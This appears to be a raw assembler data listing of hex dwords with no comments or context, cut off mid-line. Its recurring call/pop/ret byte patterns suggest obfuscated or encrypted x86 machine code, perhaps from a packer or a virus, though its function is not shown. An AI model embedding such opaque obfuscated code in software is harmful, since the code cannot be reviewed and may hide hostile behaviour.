0FB4AE07h, 681h, 0C1958900h, 60061E09h, 1C359D89h, 6A61061Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0F9D4C355h, 84AE97D6h, 875BD615h, 0FE858DFCh dd 6A06218Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0C527C353h, 8F96992Bh, 0EE89013h dd 0 dd 6785FA15h, 0FC9744C9h, 0BD70EE92h, 0F52507Bh, 8Bh, 0B7310F00h dd 5F585A86h, 10E950h, 97C50000h, 0AF967997h, 0A65DC0E7h dd 8A1B826Dh, 6A903946h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0AD8BC352h, 35FF64EEh dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 38C35646h dd 13E9h, 0B0A0D000h, 23705426h, 0E7EF8767h, 1AD67280h dd 0A7717A6Eh, 258964h, 29000000h, 1E181185h, 9185FF06h dd 81061E1Dh, 0C13F0BDFh, 0D985097Bh, 6A061E2Ch, 4BA5BFFFh dd 95894C08h, 61E2B2Dh, 1515B5FFh, 6A061Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0D88BF4C3h dd 165595FFh, 25E9061Eh, 60000001h, 1B359D8Bh, 870F061Eh dd 3, 61D38B66h, 82EB8166h, 6600B0ABh, 0E6D375BFh, 8171E470h dd 0BC6857E3h, 0F613C38h, 0F783h, 5E900h, 0E8E00000h, 0F4C6FDDh dd 8D29C8B6h, 61E2DA5h, 6BAh, 758D8900h, 8B061E07h, 85BD89C1h dd 0C1061E1Dh, 0BD0904E8h, 61E02ADh, 66E2F766h, 2B807CBFh dd 0BE6660C8h, 8E0F1AABh, 6, 25C9B58Bh, 8B61061Eh, 0F98589D1h dd 57061E1Ah, 9FC78166h, 99E95F7Ch, 0E8000000h, 8, 0B35DA7B1h dd 0D6C36FDAh, 31999D8Bh, 8B5B061Eh, 4C4C4485h, 7DBD8B5Fh dd 83061E0Eh, 8D2907C0h, 61E1465h, 0F00C083h, 8589FEB7h dd 61E2195h, 830FD03Bh, 1Ch, 7D59D8Bh, 51E9061Eh, 81000000h dd 2571DEC7h, 8D8B6036h, 61E1F05h, 61CB8B66h, 0FFFF8D8Bh dd 0BE9FFFFh, 0EE000000h, 0D66547DCh, 0F65D102Bh, 0E183524Eh dd 21840F01h, 89000000h, 1E172D85h, 0FFA58306h, 0FEFFFFFFh dd 897CD380h, 4C4C4495h, 118D895Fh, 0E9061E1Eh, 0 dd 5F0CB58Dh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 25AA1CC3h, 198D8932h, 6A061E16h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0B1A24753h, 28D0Fh, 9AB30000h, 0FFADE380h dd 1E26C195h, 0F59D8B06h, 81061E15h, 69470EEBh, 0F25B957h dd 0B5010000h, 61E0219h, 6AFCE183h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7CD5C356h dd 0CFCABD79h, 4DCB811Ch, 0FC7239BDh, 1B519D8Bh, 0B8061Eh dd 1000000h, 1E236DB5h, 6AD22B06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 14B0C357h dd 0A39163B3h, 0A1BD8BC4h, 0AD061E08h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0F048C351h, 0E72521B9h, 870F56h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0BEA7C351h, 0E19D8B1Eh, 0B7061E19h dd 880DFCh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0D01DF5C3h, 0B7D84269h, 0AE9C0h dd 0BF3A0000h, 4A4020E2h, 56DBA8C6h, 2375958Bh, 0BD8B061Eh dd 61E14C5h, 324D8D8Bh, 8B66061Eh, 0C28B50D8h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 3158188Bh, 1E2C7985h, 0EF816606h dd 6AF5BFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 2B9D27C3h, 87557CD1h, 8C0FD96Dh, 1Ah, 0EE8h dd 58E77700h, 98BEAA5h, 0C438E55Eh, 8B6EEA86h, 1E32E1BDh dd 0BD835B06h, 61E0259h, 3B840F00h, 29000000h, 1E26C58Dh dd 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0FB80A6C3h, 8166BBDBh, 8D4F15D3h dd 1E4CB88Dh, 0E1FFF806h, 0BD8315B3h, 61E3169h, 94840F00h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 90C3C353h, 3169BD83h, 0F01061Eh dd 48584h, 83D88B00h, 1E3169BDh, 860F0306h, 440h, 0E0D8D89h dd 6A60061Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 375EC352h, 109E40Dh, 8B6650E1h dd 0E18D29DEh, 66061E02h, 6AD98Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 31BA4CC3h, 1E13599Dh dd 4E18006h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0B9C35040h, 49398B3Ah, 98E6A9E5h, 85BD89F5h, 81061E0Ch dd 1A811BC7h, 0FC90A23h, 13484h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 11BD8B30h dd 8B061E04h, 1E1A1185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 860FBF97h, 19h, 0EE8h dd 0C927A00h, 0CECC0538h, 0DF2183Fh, 0BB4A5071h, 2CC2E6BCh dd 0BD85335Fh, 6A061E14h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0A13BC352h, 5098F0E1h dd 489DA8Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 7EE667CCh, 9F29150h, 1E07BD9Dh, 0BB006A06h dd 3715D777h, 0C3933168h, 11E97Ch, 59130000h, 56597255h dd 656E5F60h, 0F6CD0F07h, 81C6E07Eh, 90CE2434h, 0FFF57CDCh dd 1E144195h, 0F1BD8B06h, 89061E1Eh, 21B02785h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0FDDC4C25h, 8AFAF8A8h, 0FBB70F0Fh, 3BE9F88Bh, 0E9000002h dd 0Dh, 6FEE2B14h, 0E9653017h, 192DD69Fh, 1F858B86h, 6A0621B0h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0C28EC357h, 335C4CA5h, 6EB311F5h, 1EAD9D8Bh dd 0C7061Eh, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0EEC35040h, 19D78166h, 0DA8B667Eh, 0B023B58Bh dd 0DB810621h, 6E94300Ch, 1CC9858Bh, 689061Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 15C35141h, 0AF45552Ah dd 0CF816651h, 8B5FC8E6h, 1E1A1185h, 0D3816606h, 4689B601h dd 14E95004h, 0F000000h, 0CD059B35h, 781AB004h, 0A2E360EAh dd 0C5BCB975h, 89833D92h, 6A2434h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 8855CFC3h, 9B9C5B55h dd 14E96002h, 76000000h, 476DBD9Ah, 0FF811DACh, 6F92AFDBh dd 10CA744Bh, 8BD4BBE2h, 1E049DB5h, 0AE96106h, 9C000000h dd 41543D3Dh, 1A606B2Fh, 1FB5FF48h, 530621B0h, 18C98D89h dd 0E85F061Eh, 4, 1F03FFh, 10E950h, 0A26A0000h, 0CB1D1EB6h dd 1434CE13h, 0ED52F287h, 448BE167h, 8A600424h, 12E960C2h dd 0A8000000h, 827E8878h, 0C78155CEh, 7D4815FEh, 0FAB15CAAh dd 4ECCBB19h, 61617670h, 0BB60008Bh, 422873Bh, 8961BFB4h dd 0B7042444h, 6A5868h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0BAC554C3h, 5E53D47Dh, 0F9BD1A0Fh dd 0B027858Dh, 6A0621h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0E8FB4FC3h, 42BB662Eh, 52509036h dd 310FDA8Bh, 5AF88B66h, 52505058h, 4BBF6652h, 310F5B43h dd 585A5F53h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 51FEEB17h, 15CF81AFh, 0FF47BD3Ch dd 1E144195h, 14E906h, 3A800000h, 0E3A1ED3Ch, 0F3C2842Dh dd 4027654Eh, 916C14CBh, 6A610116h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 37EC355h dd 12A73089h, 85C7DFE8h, 61E3169h, 3, 27BD83FCh, 621B0h dd 12840Fh, 0B5290000h, 61E2941h, 22E9h, 66C0B300h, 4ED3F781h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h dd 0CECE8051h, 0C6B9665Bh, 6A6145h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F3133EC3h dd 0BD643B29h, 66737C47h, 9CE4EB81h, 2799D8Bh, 0BD83061Eh dd 61E3169h, 0C8850F03h, 0E9000003h, 0Dh, 0A22B3882h, 5408F7EDh dd 0B9F04862h, 27BD8321h, 621B0h, 3A9840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0AF79C3h, 0C840Fh, 5E80000h, 1D000000h, 49F8ED7Dh, 0B5FF5BF5h dd 621B027h, 0AFDDBF66h, 155595FFh, 6A061Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 870F04C3h dd 6, 3D3ECF81h, 0B58B0F40h, 621B01Bh, 106C7h, 0B3560001h dd 8B965BE3h, 890F50FBh, 4, 5B4FB350h, 56006A96h, 3E8h dd 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D230B5Dh, 61E3125h, 0B027B5FFh dd 95FF0621h, 61E2B3Dh, 13E9h, 4C54600h, 0F85151E8h, 0C907FFDDh dd 239C8324h, 0A252B9F3h, 0D259D8Bh, 0B58B061Eh, 621B01Bh dd 32F28160h, 0F1F081Fh, 185h, 8B61FC00h, 1E2A2185h, 89F98A06h dd 0C486h, 199D8B00h, 31061E18h, 1E1D7195h, 75958B06h dd 1061E23h, 1E07598Dh, 4C28306h, 2C818D89h, 5089061Eh dd 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 5E1D0372h, 28A48F51h, 8589A147h, 61E13C5h dd 858DDE8Bh, 621C4A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 8BC35242h, 0B8868940h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0F24DC356h, 6AAC3A10h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E8DAB56Ah dd 13h, 18E8754Bh, 1E1F7825h, 372B4B04h, 176883D0h, 8B0694B3h dd 1E13E99Dh, 0B5FF5B06h, 621B027h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 30C35242h, 0F995FFA3h, 0F061E32h dd 68Eh, 0D1BD8B00h, 50061E2Ch, 6A243489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 71F7C357h dd 0B19D293Ah, 0FF061E04h, 21B027B5h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BF66DAE6h, 9D03DE06h, 61E16D5h, 304995FFh, 6A061Eh dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0FBD09FC3h, 0B589608Bh, 61E1A85h, 7F9958Bh, 8361061Eh dd 1E0DB9BDh, 840F0006h, 42h, 96FEB70Fh, 1AD4BF66h, 96F88B50h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 60C35343h dd 842B5A54h, 0E9379AB0h, 0Eh, 43A7078Dh, 0DDF04C19h, 60D167h dd 0B5FF64A2h, 621B027h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0DEC35343h, 271E80E3h, 8CBF6633h, 4D95FFEEh dd 6A061E16h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 6091C355h, 0E6D9589h, 9503061Eh dd 61E2A61h, 27B5FF61h, 810621B0h, 0A73DCFE7h, 0DD95FF2Eh dd 6A061E09h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 4286C350h, 0F10B81Fh, 48Bh, 7ABB6600h dd 0FA8B66E8h, 2BD9BD83h, 0F02061Eh, 1684h, 8BDF8B00h dd 1E0E2D85h, 8727BF06h, 0C64B95h, 0F9BF0F00h, 0C7F88B66h dd 1E1F8185h, 6, 0BDBD8B00h, 0E9061E29h, 0FFFFF387h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 63C35646h, 0E53D147Ah dd 5B52D705h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 190201C3h, 94A6122Dh, 0F1BD2Bh dd 858D061Eh, 61E19DDh, 1B840Fh, 13E80000h, 0C5000000h dd 0C413C97Ch, 21BBA73h, 0F5B5073Bh, 0E3673F83h, 6160125Bh dd 0F98A505Bh, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E9C1C350h, 9, 6D2CD84Fh dd 8E479FE0h, 8B006A28h, 0FC006AD8h, 0F0AD858Dh, 0BD230622h dd 61E05B1h, 6A05C083h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0FE10C357h, 8B881128h dd 14E890FEh, 0B2000000h, 0B9EF9932h, 6E4B9916h, 0A56B399h dd 1B29CE4h, 0E9B47874h, 0Bh, 0B9F68E8Dh, 0FBA6C3FFh, 5FF920F1h dd 90FC8A50h, 3820Fh, 0BF0F0000h, 6A006AFEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 693C356h, 0E0D5E449h, 0F7FD25F7h, 9D29006Ah, 61E21A9h dd 14E99D8Bh, 95FF061Eh, 61E21EDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 11C35343h, 8BDFBF8Dh, 0A7E381FAh dd 8D0EC924h, 2194B68Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 811AB31Dh, 2E5649D7h dd 6AD1FF07h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0E129C352h, 0B8B6C4E8h, 0D1B11571h dd 4299D8Bh, 8166061Eh, 664B3DD7h, 466D781h, 272DBD83h dd 0F01061Eh, 0B085h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 749C2668h, 121C615h, 1E033185h dd 998D8906h, 6A061E16h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 50704EC4h, 26B19529h dd 665F061Eh, 0E866F381h, 13E950h, 8C5F0000h, 0D72BAB61h dd 0BBA40052h, 3647D786h, 306FD9Ah, 240489D1h, 83C9BB66h dd 32F995FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0F05F62C3h, 91F37BF6h, 51E89AD3h dd 28B0Fh, 5F570000h, 0EF2E95Fh, 0E80000h, 5D000000h, 0F0B7ED81h dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0E87F2FC3h, 66982142h, 7E8EBh, 7C3E0000h dd 41EABB98h, 0AE95B65h, 0B000000h, 4082700Dh, 70E691DCh dd 0FE858D25h, 6A06218Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 510AC350h, 16FCFB83h dd 11E96090h, 3000000h, 927DC0C7h, 0CB095E05h, 0A5A197CFh dd 0D331A6A9h, 1B46B866h, 5E85061h, 0B4000000h, 5305D971h dd 0CD8BF66h, 6A905Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0E9CCEEC3h, 30509B0h, 0FF64CDDEh dd 35h, 33A5BF00h, 89642D6Dh, 25h, 0FFFB8B00h, 1E1D9185h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0FDA5390h, 60242066h, 32AD9D89h, 9533061Eh dd 61E0115h, 0FCFF6A61h, 2D11B5FFh, 0F381061Eh, 7A240975h dd 165595FFh, 0FEE9061Eh, 80000000h, 0B080E3h, 0D850Fh dd 8E90000h, 94000000h, 0B5DF6F66h, 0E6AA1C3Dh, 2850F70h dd 8B000000h, 0E971E4F8h, 0Bh, 0E9375A58h, 0F01AB8B9h dd 6679257Bh, 9AFECB81h, 830F613Ch, 0BDh, 0C723BB66h, 0BAC8B60Fh dd 6, 9B56CB81h, 0C18B7566h, 998D8960h, 0F061E29h, 682h dd 8D0F00h, 61000000h, 8904E8C1h, 1E03959Dh, 0E2F76606h dd 0C82B45B3h, 124DBD89h, 0D18B061Eh, 0E960F380h, 75h dd 68C0Fh, 9D890000h, 61E0DC5h, 4C50858Bh, 2CBB4755h, 83369CDAh dd 0EF8007C0h, 0C083E1h, 6890Fh, 860F0000h, 0 dd 830FD03Bh, 11h, 7C19D89h, 36E9061Eh, 89000000h, 1E0CEDBDh dd 0FF8D8B06h, 66FFFFFFh, 0F3D91BBh, 0E183F8B7h, 1A840F01h dd 8B000000h, 1E0EA19Dh, 0FFA58306h, 0FEFFFFFFh, 4C509589h dd 0B1B34755h, 0E9h, 31B58D00h, 6A06226Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 8900C350h dd 77BBE307h, 9412FB49h, 158DB531h, 6A061Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1C35141h, 0CCAD510Ch dd 8FB03FF6h, 42EB8166h, 0C800F0Dh, 0F000000h, 689h, 818D2900h dd 0FF061E04h, 1E26C195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8D299154h dd 61E21E9h, 0CE9h, 7213CF00h, 0FD9647F7h, 0A6190D2Ah dd 0FC1B9E1h, 0FB8B0000h, 8AFCE183h, 6AFCFEh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9DF327C3h dd 34C82D1Fh, 0DE960h, 0F9AA0000h, 740C2E5Ch, 94CBC005h dd 1151E3Eh, 1E0E05BDh, 0C02B6106h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 36C35747h, 2B2BBFB9h, 792C8457h dd 16D99D89h, 0D22B061Eh, 9E8h, 0BCB5DC00h, 5528D221h dd 9D89E87Bh, 61E338Dh, 0C233AD5Bh, 0D003E8D1h, 7504E983h dd 4D9529F4h, 8B061E1Dh, 880DDFh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD2BAAC3h dd 61E0EFDh, 2375958Bh, 0BD8B061Eh, 61E21CDh, 324D8D8Bh dd 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 569130C3h, 6880Fh, 8D010000h, 61E1A75h, 0E381665Bh dd 8B50228Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 6ADEBF0Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0DB24C355h, 0AE9E392h, 3C000000h dd 13340B46h, 9E411581h, 59BD83C4h, 61E02h, 9F840Fh, 0BB660000h dd 0B8E012h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0F8BDC351h, 9CD4A839h dd 7DCA1BC2h, 2A399589h, 8D8D061Eh, 61E4CB8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CEC35747h, 419A224Fh dd 16860Fh, 11E90000h, 0E3000000h, 0D6E8533Eh, 7771AA30h dd 4C873EAFh, 0F1807C06h, 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 66101C3h, 0E3D5397Fh dd 0F4BB6641h, 69BD8304h, 61E31h, 4BC840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0F84D8C3h, 39858960h, 83061E0Dh, 1E3169BDh, 840F0106h dd 4A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 14C35747h, 0BF6608E9h, 852938A2h, 61E1BC9h, 3169BD83h dd 0F03061Eh, 43A86h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0C46ADDC5h, 43726728h dd 29118D89h, 6A60061Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 571CC356h, 8B4B007Fh dd 1E02819Dh, 0D98C6606h, 7E8h, 0A2B22F00h, 198926Eh, 31FD9589h dd 805B061Eh, 0E38004E1h, 0FC90AA3h, 16D84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0FE91FBFh, 0B9000000h, 84FDE05Bh, 9914A692h, 5873A2A9h dd 858BC9E1h, 61E1A11h, 58A0Fh, 81660000h, 332972C7h, 1E14BD85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 23BDE8C0h, 0F55035A2h, 23BA6050h, 0F4D18FBh dd 588h, 6328B900h, 89610E09h, 9D8B2404h, 61E0805h, 8589006Ah dd 61E2DFDh, 4E8h, 1F03FF00h, 7E95000h, 0AB000000h, 96B8C562h dd 448BC598h, 0FB8B0424h, 5250008Bh, 8E8h, 0AB09FE00h dd 0A71414D3h, 6E8C6h, 8B830000h, 510AE5A0h, 310F5B5Bh dd 9FF8B860h, 8B665A0Ch, 585A61C3h, 4244489h, 58FE8B66h dd 0FFDF8B66h, 1E144195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 7B308D88h dd 0D6638265h, 0BD89E5C9h, 61E1669h, 0B0278589h, 6A0621h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 8B0095C3h, 1E1F55BDh, 1DAE906h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 452D8AC3h dd 830F3A37h, 6, 20A5BD89h, 858B061Eh, 621B01Fh, 0C7D88Bh dd 18h, 8BF98B66h, 21B023B5h, 81665106h, 5B0863EFh, 1CC9858Bh dd 689061Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 4DC35040h, 869005C4h, 5DD9531h, 858B061Eh, 61E1A11h dd 4689D88Ah, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 830F9604h, 4, 2715BF66h, 6A9650h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0D0EDC5C3h, 719D2BD9h, 0F5061E1Fh, 0B01FB5FFh, 6A0621h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 70D00C3h, 65579227h, 0C9B58926h, 0E8061E1Dh, 4, 1F03FFh dd 0F525050h, 280h, 0F616000h, 0BE931h, 0C1950000h, 0F5B6EB2Fh dd 1D195246h, 8B585A2Ch, 0E9042444h, 0Fh, 3E019C29h, 949F77E1h dd 0B0FC7DD2h, 8B493202h, 0FA8B6000h, 10E8h, 0F67B0B00h dd 971045ECh, 140B6638h, 5BBFA92Ch, 5902B3BEh, 24448961h dd 351BBB04h, 6658575Ah, 6B92D781h, 8DFA8B66h, 21B02785h dd 50FE8B06h, 2870Fh, 0C7B70000h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0AB8AC357h, 493D509Ah, 0DABF0FC1h, 27299D8Bh, 95FF061Eh dd 61E1441h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 19C35545h, 787F3FCBh, 68D8BB66h, 51006A61h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 90560913h, 10E1CC1h, 79BD8BB8h, 0F061E14h, 685h, 819D8B00h dd 0C7061E31h, 1E316985h, 306h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 531E5494h dd 0B5C15B48h, 0FFA8B66h, 9D89F8BFh, 61E161Dh, 0B027BD83h dd 0F000621h, 2E84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 9E8CCBFh, 52AF1B6Dh, 20E908h dd 81660000h, 50018BDBh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 9D29C08Bh, 61E33A9h, 0DEBF0F60h dd 8198589h, 8361061Eh, 1E3169BDh dd 850F0306h, 4D4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0A7C35141h, 8185899Dh, 83061E22h, 21B027BDh dd 840F0006h, 4A4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0A3C35545h, 87D56564h, 0CE9EDh, 0C610000h dd 410B5931h, 0D366D0B4h, 0B5FFF2E1h, 621B027h, 670442BFh dd 5595FF40h, 6A061E15h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0DC41C352h, 0DDDD3640h dd 170DBD0Bh, 62BB061Eh, 8B07D990h, 21B01BB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 4C31C9BAh, 8F0F1308h, 0Ah, 5E9h, 1E5DE800h, 6C770FAh dd 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0C7C35141h, 2DBD33ACh, 50061E30h, 0FE9h, 28B88700h dd 0C010981Bh, 250CB52Ch, 0A134A1E4h, 66243489h, 0B5FFF88Bh dd 621B027h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 25C35747h, 3D95FFA1h, 29061E2Bh, 1E07D995h, 1BB58B06h dd 6A0621B0h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0CA78C351h, 21858B3Ch, 6A061E2Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 2CCC352h, 86896F36h, 0C4h, 6890Fh, 8D890000h dd 61E2C49h, 2375958Bh, 6A061Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 5FF2C2C3h, 99D3100h dd 83061E0Ah, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0BDEAFFC3h, 0A3DF8060h, 1FCDB589h dd 8961061Eh, 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0F07919C3h, 0DBAA9200h, 9D8B16A8h dd 61E1C15h, 1BD8B53h, 5B061E19h, 0C4A4858Dh, 6A0621h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 9C156AC3h, 7C6735BBh, 0B8868943h, 8A000000h, 29006AF8h dd 1E1E2595h, 319D0106h, 0FF061E02h, 21B027B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 15A525EFh, 32F995FFh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0CA3D9C3h, 665C7ADBh dd 30F5EB81h, 38C0F96h, 66000000h, 0B750DE8Bh, 6A9619h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0CC5DF6C3h, 0C0F3FC06h, 14E9h, 17677300h, 0B63133F8h dd 0EA1618E3h, 0AAA83F9Eh, 0A81148D9h, 12F7817Ch, 0FF12E487h dd 21B027B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 95FFD40Eh, 61E3049h, 1269BD8Bh, 0BD83061Eh dd 61E0DB9h, 18840F00h, 89000000h, 1E2E7195h, 0BB669606h dd 665095E5h, 6696DA8Bh, 7495F381h, 0FFFBB70Fh, 21B027B5h dd 4652BB06h, 95FF0AF9h, 